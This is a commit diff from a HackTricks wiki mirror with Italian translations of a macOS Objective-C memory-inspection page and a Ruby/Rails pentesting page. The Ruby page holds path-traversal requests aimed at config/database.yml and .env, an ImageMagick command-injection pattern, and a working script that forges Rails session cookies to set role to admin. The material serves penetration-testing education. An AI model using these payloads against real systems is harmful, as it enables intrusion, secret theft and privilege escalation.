maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/macos-hardening/macos-security-and-privilege-escalation

Browse Source
This commit is contained in:
Translator 2025-08-26 15:06:15 +00:00
parent cfe0d9ee24
commit a7b8c8d3c5
2 changed files with 254 additions and 47 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

204
src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md
View File

@ -4,9 +4,9 @@
## CFRuntimeClass
Gli oggetti CF\* provengono da CoreFoundation, che fornisce più di 50 classi di oggetti come `CFString`, `CFNumber` o `CFAllocator`.
Gli oggetti CF* provengono da CoreFoundation, che fornisce oltre 50 classi di oggetti come `CFString`, `CFNumber` o `CFAllocator`.
Tutte queste classi sono istanze della classe `CFRuntimeClass`, che quando chiamata restituisce un indice alla `__CFRuntimeClassTable`. La CFRuntimeClass è definita in [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
Tutte queste classi sono istanze della classe `CFRuntimeClass`, che quando invocata restituisce un indice alla `__CFRuntimeClassTable`. La CFRuntimeClass è definita in [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
```objectivec
// Some comments were added to the original code
@ -55,68 +55,79 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi
```
## Objective-C
### Sezioni di memoria utilizzate
### Memory sections used
La maggior parte dei dati utilizzati dal runtime di ObjectiveC cambierà durante l'esecuzione, quindi utilizza alcune sezioni dal segmento **\_\_DATA** in memoria:
La maggior parte dei dati usati dal runtime Objective‑C cambia durante l'esecuzione, quindi utilizza diverse sezioni del Mach‑O nella famiglia di segmenti `__DATA` in memoria. Storicamente queste includevano:
- **`__objc_msgrefs`** (`message_ref_t`): Riferimenti ai messaggi
- **`__objc_ivar`** (`ivar`): Variabili di istanza
- **`__objc_data`** (`...`): Dati mutabili
- **`__objc_classrefs`** (`Class`): Riferimenti alle classi
- **`__objc_superrefs`** (`Class`): Riferimenti alle superclassi
- **`__objc_protorefs`** (`protocol_t *`): Riferimenti ai protocolli
- **`__objc_selrefs`** (`SEL`): Riferimenti ai selettori
- **`__objc_const`** (`...`): Dati `r/o` della classe e altri dati (si spera) costanti
- **`__objc_imageinfo`** (`version, flags`): Utilizzato durante il caricamento dell'immagine: Versione attualmente `0`; I flag specificano il supporto GC preottimizzato, ecc.
- **`__objc_protolist`** (`protocol_t *`): Elenco dei protocolli
- **`__objc_nlcatlist`** (`category_t`): Puntatore a categorie non pigre definite in questo binario
- **`__objc_catlist`** (`category_t`): Puntatore a categorie definite in questo binario
- **`__objc_nlclslist`** (`classref_t`): Puntatore a classi Objective-C non pigre definite in questo binario
- **`__objc_classlist`** (`classref_t`): Puntatori a tutte le classi Objective-C definite in questo binario
- `__objc_msgrefs` (`message_ref_t`): Riferimenti ai messaggi
- `__objc_ivar` (`ivar`): Variabili di istanza
- `__objc_data` (`...`): Dati mutabili
- `__objc_classrefs` (`Class`): Riferimenti a classi
- `__objc_superrefs` (`Class`): Riferimenti a superclassi
- `__objc_protorefs` (`protocol_t *`): Riferimenti a protocolli
- `__objc_selrefs` (`SEL`): Riferimenti a selector
- `__objc_const` (`...`): Dati di sola lettura delle classi e altri dati (si spera) costanti
- `__objc_imageinfo` (`version, flags`): Usato durante il caricamento dell'immagine: Versione attuale `0`; Flags specificano supporto GC preottimizzato, ecc.
- `__objc_protolist` (`protocol_t *`): Lista di protocolli
- `__objc_nlcatlist` (`category_t`): Puntatore alle Non-Lazy Categories definite in questo binario
- `__objc_catlist` (`category_t`): Puntatore alle Categories definite in questo binario
- `__objc_nlclslist` (`classref_t`): Puntatore alle classi Objective‑C Non-Lazy definite in questo binario
- `__objc_classlist` (`classref_t`): Puntatori a tutte le classi Objective‑C definite in questo binario
Utilizza anche alcune sezioni nel segmento **`__TEXT`** per memorizzare valori costanti se non è possibile scrivere in questa sezione:
Usa inoltre alcune sezioni nel segmento `__TEXT` per memorizzare costanti:
- **`__objc_methname`** (C-String): Nomi dei metodi
- **`__objc_classname`** (C-String): Nomi delle classi
- **`__objc_methtype`** (C-String): Tipi dei metodi
- `__objc_methname` (C‑String): Nomi dei metodi
- `__objc_classname` (C‑String): Nomi delle classi
- `__objc_methtype` (C‑String): Tipi dei metodi
### Codifica dei tipi
Le versioni moderne di macOS/iOS (soprattutto su Apple Silicon) collocano inoltre metadata Objective‑C/Swift in:
Objective-C utilizza alcune mangling per codificare i selettori e i tipi di variabili di tipi semplici e complessi:
- `__DATA_CONST`: metadata Objective‑C immutabile che può essere condiviso come sola lettura tra processi (per esempio molte liste `__objc_*` ora risiedono qui).
- `__AUTH` / `__AUTH_CONST`: segmenti contenenti puntatori che devono essere autenticati al momento del caricamento o dell'uso su arm64e (Pointer Authentication). Vedrai anche `__auth_got` in `__AUTH_CONST` invece del legacy `__la_symbol_ptr`/`__got` solamente. Quando strumentalizzi o fai hooking, ricorda di considerare sia le voci `__got` sia `__auth_got` nei binari moderni.
- I tipi primitivi usano la prima lettera del tipo `i` per `int`, `c` per `char`, `l` per `long`... e usano la lettera maiuscola nel caso sia senza segno (`L` per `unsigned Long`).
- Altri tipi di dati le cui lettere sono utilizzate o sono speciali, usano altre lettere o simboli come `q` per `long long`, `b` per `bitfields`, `B` per `booleans`, `#` per `classi`, `@` per `id`, `*` per `puntatori char`, `^` per `puntatori` generici e `?` per `indefiniti`.
- Array, strutture e unioni usano `[`, `{` e `(`
Per il background su dyld pre‑optimization (es. selector uniquing e class/protocol precomputation) e sul perché molte di queste sezioni sono "già sistemate" quando provengono dallo shared cache, consulta le sorgenti Apple `objc-opt` e le note sul dyld shared cache. Questo influisce su dove e come puoi patchare i metadata a runtime.
#### Dichiarazione del metodo di esempio
{{#ref}}
../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md
{{#endref}}
### Type Encoding
Objective‑C usa il mangling per codificare selector e tipi di variabili semplici e complessi:
- I tipi primitivi usano la prima lettera del tipo `i` per `int`, `c` per `char`, `l` per `long`... e usano la lettera maiuscola nel caso sia unsigned (`L` per `unsigned long`).
- Altri tipi di dato usano altre lettere o simboli come `q` per `long long`, `b` per bitfield, `B` per booleani, `#` per classi, `@` per `id`, `*` per `char *`, `^` per puntatori generici e `?` per indefinito.
- Array, struct e union usano rispettivamente `[`, `{` e `(`.
#### Esempio di dichiarazione di metodo
```objectivec
- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
```
Il selettore sarebbe `processString:withOptions:andError:`
Il selector sarebbe `processString:withOptions:andError:`
#### Codifica del Tipo
#### Codifica dei tipi
- `id` è codificato come `@`
- `char *` è codificato come `*`
La codifica completa del tipo per il metodo è:
La codifica completa dei tipi per il metodo è:
```less
@24@0:8@16*20^@24
```
#### Analisi Dettagliata
#### Analisi dettagliata
1. **Tipo di Ritorno (`NSString *`)**: Codificato come `@` con lunghezza 24
2. **`self` (istanza dell'oggetto)**: Codificato come `@`, a offset 0
3. **`_cmd` (selettore)**: Codificato come `:`, a offset 8
4. **Primo argomento (`char * input`)**: Codificato come `*`, a offset 16
5. **Secondo argomento (`NSDictionary * options`)**: Codificato come `@`, a offset 20
6. **Terzo argomento (`NSError ** error`)**: Codificato come `^@`, a offset 24
1. Tipo di ritorno (`NSString *`): Codificato come `@` con lunghezza 24
2. `self` (istanza dell'oggetto): Codificato come `@`, all'offset 0
3. `_cmd` (selector): Codificato come `:`, all'offset 8
4. Primo argomento (`char * input`): Codificato come `*`, all'offset 16
5. Secondo argomento (`NSDictionary * options`): Codificato come `@`, all'offset 20
6. Terzo argomento (`NSError ** error`): Codificato come `^@`, all'offset 24
**Con il selettore + la codifica puoi ricostruire il metodo.**
Con il selector + la codifica puoi ricostruire il metodo.
### **Classi**
### Classi
Le classi in Objective-C sono una struct con proprietà, puntatori ai metodi... È possibile trovare la struct `objc_class` nel [**codice sorgente**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
Le classi in Objective‑C sono struct C con proprietà, puntatori a metodi, ecc. È possibile trovare la struct `objc_class` nel [**source code**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
```objectivec
struct objc_class : objc_object {
// Class ISA;
@ -137,9 +148,114 @@ data()->setFlags(set);
}
[...]
```
Questa classe utilizza alcuni bit del campo isa per indicare alcune informazioni sulla classe.
Questa classe usa alcuni bit del campo `isa` per indicare informazioni sulla classe.
Poi, la struct ha un puntatore alla struct `class_ro_t` memorizzata su disco che contiene attributi della classe come il suo nome, metodi di base, proprietà e variabili di istanza.\
Durante l'esecuzione, viene utilizzata una struttura aggiuntiva `class_rw_t` che contiene puntatori che possono essere modificati come metodi, protocolli, proprietà...
Poi, la struct ha un puntatore alla struct `class_ro_t` memorizzata su disco che contiene attributi della classe come il suo nome, i metodi base, le proprietà e le variabili d'istanza. Durante l'esecuzione viene usata una struttura aggiuntiva `class_rw_t` contenente puntatori che possono essere modificati, come metodi, protocolli e proprietà.
{{#ref}}
../macos-basic-objective-c.md
{{#endref}}
---
## Rappresentazioni moderne degli oggetti in memoria (arm64e, tagged pointers, Swift)
### Non‑pointer `isa` and Pointer Authentication (arm64e)
Su Apple Silicon e nei runtime recenti l'`isa` di Objective‑C non è sempre un semplice puntatore a classe. Su arm64e è una struttura impacchettata che può anche contenere un Pointer Authentication Code (PAC). A seconda della piattaforma può includere campi come `nonpointer`, `has_assoc`, `weakly_referenced`, `extra_rc`, e il puntatore alla classe stesso (shifted o signed). Questo significa che dereferenziare ciecamente i primi 8 byte di un oggetto Objective‑C non restituirà sempre un puntatore `Class` valido.
Note pratiche quando si effettua il debugging su arm64e:
- LLDB solitamente rimuove i bit PAC per te quando stampa oggetti Objective‑C con `po`, ma quando lavori con puntatori raw potresti dover rimuovere manualmente l'autenticazione:
```lldb
(lldb) expr -l objc++ -- #include <ptrauth.h>
(lldb) expr -l objc++ -- void *raw = ptrauth_strip((void*)0x000000016f123abc, ptrauth_key_asda);
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)raw)
```
- Molti puntatori a funzioni/dati in Mach‑O risiederanno in `__AUTH`/`__AUTH_CONST` e richiederanno autenticazione prima dell'uso. Se stai interponendo o ri‑binding (ad es., in stile fishhook), assicurati di gestire anche `__auth_got` oltre al classico `__got`.
Per un'analisi approfondita delle garanzie del linguaggio/ABI e degli intrinseci `<ptrauth.h>` disponibili da Clang/LLVM, vedi la referenza alla fine di questa pagina.
### Tagged pointer objects
Alcune classi di Foundation evitano l'allocazione sull'heap codificando il payload dell'oggetto direttamente nel valore del puntatore (tagged pointers). La rilevazione varia a seconda della piattaforma (es., il bit più significativo su arm64, il meno significativo su macOS x86_64). Gli oggetti tagged non hanno un `isa` regolare memorizzato in memoria; il runtime risolve la classe a partire dai bit del tag. Quando si ispezionano valori `id` arbitrari:
- Usa le API del runtime invece di accedere direttamente al campo `isa`: `object_getClass(obj)` / `[obj class]`.
- In LLDB, semplicemente `po (id)0xADDR` stamperà correttamente le istanze tagged pointer perché il runtime viene consultato per risolvere la classe.
### Swift heap objects and metadata
Le classi Swift pure sono anch'esse oggetti con un header che punta ai metadati Swift (non all'`isa` di Objective‑C). Per ispezionare processi Swift attivi senza modificarli puoi usare `swift-inspect` della toolchain Swift, che sfrutta la libreria Remote Mirror per leggere i metadati del runtime:
```bash
# Xcode toolchain (or Swift.org toolchain) provides swift-inspect
swift-inspect dump-raw-metadata <pid-or-name>
swift-inspect dump-arrays <pid-or-name>
# On Darwin additionally:
swift-inspect dump-concurrency <pid-or-name>
```
Questo è molto utile per mappare gli oggetti nello heap di Swift e le conformità ai protocolli quando si esegue reverse engineering di app miste Swift/ObjC.
---
## Cheatsheet per l'ispezione del runtime (LLDB / Frida)
### LLDB
- Stampare un oggetto o una classe da un puntatore raw:
```lldb
(lldb) expr -l objc++ -O -- (id)0x0000000101234560
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)0x0000000101234560)
```
- Ispeziona la classe Objective‑C a partire da un puntatore a `self` di un metodo di un oggetto in un breakpoint:
```lldb
(lldb) br se -n '-[NSFileManager fileExistsAtPath:]'
(lldb) r
... breakpoint hit ...
(lldb) po (id)$x0 # self
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)$x0)
```
- Dump sezioni che contengono i metadati di Objective‑C (nota: molte ora si trovano in `__DATA_CONST` / `__AUTH_CONST`):
```lldb
(lldb) image dump section --section __DATA_CONST.__objc_classlist
(lldb) image dump section --section __DATA_CONST.__objc_selrefs
(lldb) image dump section --section __AUTH_CONST.__auth_got
```
- Leggi la memoria di un oggetto di classe noto per pivot to `class_ro_t` / `class_rw_t` when reversing method lists:
```lldb
(lldb) image lookup -r -n _OBJC_CLASS_$_NSFileManager
(lldb) memory read -fx -s8 0xADDRESS_OF_CLASS_OBJECT
```
### Frida (Objective‑C and Swift)
Frida fornisce bridge di runtime di alto livello molto utili per scoprire e strumentare oggetti live senza simboli:
- Enumerare classi e metodi, risolvere i nomi reali delle classi a runtime e intercettare Objective‑C selectors:
```js
if (ObjC.available) {
// List a class' methods
console.log(ObjC.classes.NSFileManager.$ownMethods);
// Intercept and inspect arguments/return values
const impl = ObjC.classes.NSFileManager['- fileExistsAtPath:isDirectory:'].implementation;
Interceptor.attach(impl, {
onEnter(args) {
this.path = new ObjC.Object(args[2]).toString();
},
onLeave(retval) {
console.log('fileExistsAtPath:', this.path, '=>', retval);
}
});
}
```
- Swift bridge: enumerare i tipi Swift e interagire con le istanze Swift (richiede Frida recente; molto utile sui target Apple Silicon).
---
## Riferimenti
- Clang/LLVM: Pointer Authentication e le `<ptrauth.h>` intrinsics (arm64e ABI). https://clang.llvm.org/docs/PointerAuthentication.html
- Apple objc runtime headers (tagged pointers, non‑pointer `isa`, etc.) e.g., `objc-object.h`. https://opensource.apple.com/source/objc4/objc4-818.2/runtime/objc-object.h.auto.html
{{#include ../../../banners/hacktricks-training.md}}

97
src/network-services-pentesting/pentesting-web/ruby-tricks.md
View File

@ -1,9 +1,100 @@
# Ruby Tricks
# Trucchi Ruby
{{#include ../../banners/hacktricks-training.md}}
## Caricamento di file per RCE
## Upload di file per RCE
Come spiegato in [questo articolo](https://www.offsec.com/blog/cve-2024-46986/), caricare un file `.rb` in directory sensibili come `config/initializers/` può portare all'esecuzione remota di codice (RCE) nelle applicazioni Ruby on Rails.
Come spiegato in [this article](https://www.offsec.com/blog/cve-2024-46986/), caricare un file `.rb` in directory sensibili come `config/initializers/` può portare a remote code execution (RCE) in applicazioni Ruby on Rails.
Suggerimenti:
- Altre posizioni di boot/eager-load eseguite all'avvio dell'app sono rischiose se scrivibili (ad esempio, `config/initializers/` è quella classica). Se trovi un upload arbitrario che finisce da qualche parte sotto `config/` e viene poi valutato/required, potresti ottenere RCE all'avvio.
- Cerca build dev/staging che copiano file controllati dall'utente nell'immagine del container dove Rails li caricherà al boot.
## Active Storage image transformation → command execution (CVE-2025-24293)
Quando un'applicazione usa Active Storage con `image_processing` + `mini_magick`, e passa parametri non affidabili ai metodi di trasformazione immagine, le versioni di Rails precedenti a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 potrebbero consentire command injection perché alcuni metodi di trasformazione erano erroneamente permessi di default.
- Un pattern vulnerabile appare così:
```erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>
```
dove `params[:t]` e/o `params[:v]` sono controllati dall'attaccante.
- Cosa provare durante il testing
- Individua endpoint che accettano opzioni variant/processing, nomi di trasformazione, o argomenti arbitrari di ImageMagick.
- Fuzz `params[:t]` e `params[:v]` per errori sospetti o effetti collaterali di esecuzione. Se riesci a influenzare il nome del metodo o passare argomenti raw che raggiungono MiniMagick, potresti ottenere code exec sull'host del processore di immagini.
- Se hai solo read-access ai variant generati, prova blind exfiltration tramite operazioni ImageMagick create ad arte.
- Mitigazione/rilevamento
- Se trovi Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 con Active Storage + `image_processing` + `mini_magick` e trasformazioni controllate dall'utente, consideralo sfruttabile. Raccomanda l'aggiornamento e l'applicazione di allowlists rigorose per metodi/parametri e di una policy di ImageMagick più restrittiva.
## Rack::Static LFI / path traversal (CVE-2025-27610)
Se lo stack target usa direttamente Rack middleware o tramite framework, le versioni di `rack` precedenti a 2.2.13, 3.0.14 e 3.1.12 permettono Local File Inclusion tramite `Rack::Static` quando `:root` è unset/misconfigurato. Traversal codificati in `PATH_INFO` possono esporre file sotto la working directory del processo o una root inaspettata.
- Cerca app che montano `Rack::Static` in `config.ru` o negli stack di middleware. Prova traversal codificati contro percorsi statici, per esempio:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
Adatta il prefisso per corrispondere ai `urls:` configurati. Se l'app risponde con il contenuto del file, probabilmente hai LFI verso qualsiasi cosa sotto il `:root` risolto.
- Mitigazione: aggiorna Rack; assicurati che `:root` punti solo a una directory di file pubblici ed è esplicitamente impostato.
## Forging/decrypting Rails cookies quando `secret_key_base` is leaked
Rails cripta e firma i cookie usando chiavi derivate da `secret_key_base`. Se quel valore leaks (ad esempio, in un repo, log o credenziali mal configurate), di solito puoi decriptare, modificare e ri-crittografare i cookie. Questo spesso porta a authz bypass se l'app memorizza ruoli, user ID o feature flags nei cookie.
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
```ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
Note:
- Le app più vecchie possono usare AES-256-CBC e salts `encrypted cookie` / `signed encrypted cookie`, o JSON/Marshal serializers. Adatta salts, cipher e serializer di conseguenza.
- In caso di compromissione/valutazione, ruota `secret_key_base` per invalidare tutti i cookie esistenti.
## Vedi anche (vulnerabilità specifiche Ruby/Rails)
- Ruby deserialization and class pollution:
{{#ref}}
../../pentesting-web/deserialization/README.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-class-pollution.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-_json-pollution.md
{{#endref}}
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
{{#ref}}
../../pentesting-web/ssti-server-side-template-injection/README.md
{{#endref}}
## Riferimenti
- Annuncio di sicurezza Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- Avviso GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
{{#include ../../banners/hacktricks-training.md}}